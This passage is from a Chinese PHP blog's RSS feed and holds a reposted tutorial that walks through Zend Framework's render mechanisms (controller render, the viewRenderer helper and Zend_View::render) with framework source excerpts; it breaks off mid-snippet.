<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>记录与PHP的PK经历 &#187; zend framework</title>
	<atom:link href="http://www.pkphp.com/category/zend-framework/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pkphp.com</link>
	<description>PK with php!</description>
	<lastBuildDate>Fri, 27 May 2011 02:07:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>[转]详细介绍php Zend Framework中的render使用方法</title>
		<link>http://www.pkphp.com/2010/01/09/zend-framework-render-intro/</link>
		<comments>http://www.pkphp.com/2010/01/09/zend-framework-render-intro/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 11:45:23 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=1026</guid>
		<description><![CDATA[通常在我们利用ZF实现php的mvc时,最关键的地方当然是Controller类的各种action方法,在action方法中,我们确定及输出内容. 在类 abstract class Zend_Controller_Action 中的dispatch方法你可以发现这一行 $this-&#62;$action(); 那么如何确定及输出内容呢,就是进行render了,不过这个render却是有好几个的,下面列出这几个情形 1&#60;?php 2class IndexController extends Zend_Controller_Action 3{ 4 public function contactAction() 5 { 6 //$this-&#62;render(&#8220;index&#8221;); 7 //$this-&#62;render(); 8 //$this-&#62;renderScript(&#8220;sidebar.phtml&#8221;); 9 10 11 //$this-&#62;_helper-&#62;viewRenderer(&#8220;sidebar&#8221;); 12 13 //$this-&#62;view-&#62;render(&#8220;sidebar.phtml&#8221;); 14 //$this-&#62;view(&#8220;sidebar&#8221;); 15 16 } 17} 18?&#62; 总结下来,似乎就是这三中render了(欢迎补充) 1.自身render 先看第一种 //$this-&#62;render(&#8220;index&#8221;); //$this-&#62;render(); //$this-&#62;renderScript(&#8220;sidebar.phtml&#8221;); 这是直接使用Zend_Controller_Action类的render方法 第一句是render了另一个action所对应的视图(看清了 是render那个action对应的视图 而不是执行那个action!) 第二句式render本action对应的视图,这个有什么意义呢(因为很多情形你看不到这个写法的),这个下面再说. 第三句是render特定的视图文件,这里你可能认为前两个方法实际是调用了这个renderScript,其实不是如此. 下面就阐述一下.顺便解释第二句的原因. Zend_Controller_Action类的render方法中其实是有两个分支的 如下render函数代码 [...]<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>通常在我们利用ZF实现php的mvc时,最关键的地方当然是Controller类的各种action方法,在action方法中,我们确定及输出内容. 在类 abstract class Zend_Controller_Action 中的dispatch方法你可以发现这一行 $this-&gt;$action();</p>
<p>那么如何确定及输出内容呢,就是进行render了,不过这个render却是有好几个的,下面列出这几个情形<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;">&lt;?</span><span style="font-family: 'Courier New'; color: #000000;">php<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /></span><span style="font-family: 'Courier New'; color: #0000ff;">class</span><span style="font-family: 'Courier New'; color: #000000;"> IndexController </span><span style="font-family: 'Courier New'; color: #0000ff;">extends</span><span style="font-family: 'Courier New'; color: #000000;"> Zend_Controller_Action<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" />{<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> contactAction()<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #008000;">//</span><span style="font-family: 'Courier New'; color: #008000;">$this-&gt;render(&#8220;index&#8221;);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> //$this-&gt;render();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> //$this-&gt;renderScript(&#8220;sidebar.phtml&#8221;);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">9</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">10</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">11</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> //$this-&gt;_helper-&gt;viewRenderer(&#8220;sidebar&#8221;);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">12</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">13</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> //$this-&gt;view-&gt;render(&#8220;sidebar.phtml&#8221;);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">14</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> //$this-&gt;view(&#8220;sidebar&#8221;); </span><span style="font-family: 'Courier New'; color: #008000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">15</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /></span><span style="font-family: 'Courier New'; color: #000000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">16</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">17</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" />}<br />
</span><span style="font-family: 'Courier New'; color: #008080;">18</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /></span><span style="font-family: 'Courier New'; color: #000000;">?&gt;</span></p>
<p>总结下来,似乎就是这三中render了(欢迎补充)</p>
<p>1.自身render</p>
<p>先看第一种<br />
//$this-&gt;render(&#8220;index&#8221;);<br />
//$this-&gt;render();<br />
//$this-&gt;renderScript(&#8220;sidebar.phtml&#8221;);<br />
这是直接使用Zend_Controller_Action类的render方法<br />
第一句是render了另一个action所对应的视图(看清了 是render那个action对应的视图 而不是执行那个action!)<br />
第二句式render本action对应的视图,这个有什么意义呢(因为很多情形你看不到这个写法的),这个下面再说.<br />
第三句是render特定的视图文件,这里你可能认为前两个方法实际是调用了这个renderScript,其实不是如此.<br />
下面就阐述一下.顺便解释第二句的原因.<br />
Zend_Controller_Action类的render方法中其实是有两个分支的 如下render函数代码<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> render(</span><span style="font-family: 'Courier New'; color: #800080;">$action</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$noController</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">false</span><span style="font-family: 'Courier New'; color: #000000;">)<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">if</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #000000;">!</span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">getInvokeArg(</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">noViewRenderer</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">) </span><span style="font-family: 'Courier New'; color: #000000;">&amp;&amp;</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_helper</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">hasHelper(</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">viewRenderer</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">)) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">return</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_helper</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">viewRenderer</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">render(</span><span style="font-family: 'Courier New'; color: #800080;">$action</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$noController</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$view</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">initView();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$script</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">getViewScript(</span><span style="font-family: 'Courier New'; color: #800080;">$action</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$noController</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">9</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">10</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">getResponse()</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">appendBody(<br />
</span><span style="font-family: 'Courier New'; color: #008080;">11</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$view</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">render(</span><span style="font-family: 'Courier New'; color: #800080;">$script</span><span style="font-family: 'Courier New'; color: #000000;">)</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">12</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">13</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> );<br />
</span><span style="font-family: 'Courier New'; color: #008080;">14</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span><br />
可以看到一种情形是利用(代理)了视图助手类(viewRenderer)的render方法<br />
另一种是禁用助手时的情形 就得亲自上阵了,这也就是render()出现的原因,你禁用了视图助手后要输出本action对应视图内容可以使用render()来完成</p>
<p>2.通过视图助手viewRenderer</p>
<p>上面说起了视图助手,那我们来看action中的第二个片段,正是借助视图助手来进行<br />
//$this-&gt;_helper-&gt;viewRenderer(&#8220;sidebar&#8221;);<br />
实际上这里这句话并不是render内容,而是指定了要render哪个视图,参考Zend_Controller_Action_Helper_ViewRenderer类的这个函数<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> direct(</span><span style="font-family: 'Courier New'; color: #800080;">$action</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$noController</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;">)<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">setRender(</span><span style="font-family: 'Courier New'; color: #800080;">$action</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$noController</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span><br />
那么输出呢 是怎么输出的?<br />
可以在$this-&gt;_helper-&gt;viewRenderer(&#8220;sidebar&#8221;); 后直接调用$this-&gt;render();即可.<br />
但是实际上你完全不用调用,只写那一句就行.<br />
你不写render的时候,视图助手会来替你完成.在Zend_Controller_Action类中的dispatch方法中有这么一句<br />
$this-&gt;_helper-&gt;notifyPostDispatch();<br />
_helper是什么? 是一个Zend_Controller_Action_HelperBroker类 ,其中有这个方法<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> notifyPostDispatch()<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">foreach</span><span style="font-family: 'Courier New'; color: #000000;"> (self</span><span style="font-family: 'Courier New'; color: #000000;">::</span><span style="font-family: 'Courier New'; color: #000000;">getStack() </span><span style="font-family: 'Courier New'; color: #0000ff;">as</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$helper</span><span style="font-family: 'Courier New'; color: #000000;">) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$helper</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">postDispatch();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span></p>
<p>可以看到调用了其中各个助手的postDispatch();<br />
而viewRenderer正是其中的一个助手,其postDispatch方法如下<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> postDispatch()<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">if</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_shouldRender()) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">render();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span><br />
正是在这里视图助手帮你进行了render,如果你自己render了,聪明的视图助手会知晓的,可以查看下在_shouldRender()中的这个 $this-&gt;getRequest()-&gt;isDispatched(),及Zend_Controller_Front 类中dispatch方法的这句话:$this-&gt;_request-&gt;setDispatched(true);</p>
<p>3.终极render 关于Zend_View-&gt;render()</p>
<p>好了现在我们来看看Zend_View的render().<br />
在上面的两个中我们都说到了render(),比如action的render和视图助手的render<br />
那么你该问个问题:就这样了?后面呢?<br />
后面的才是关键的.<br />
在action的render中,你可能注意到这句话了<br />
<span style="color: #008080;">10</span><span style="color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="color: #800080;">$this</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">getResponse()</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">appendBody(<br />
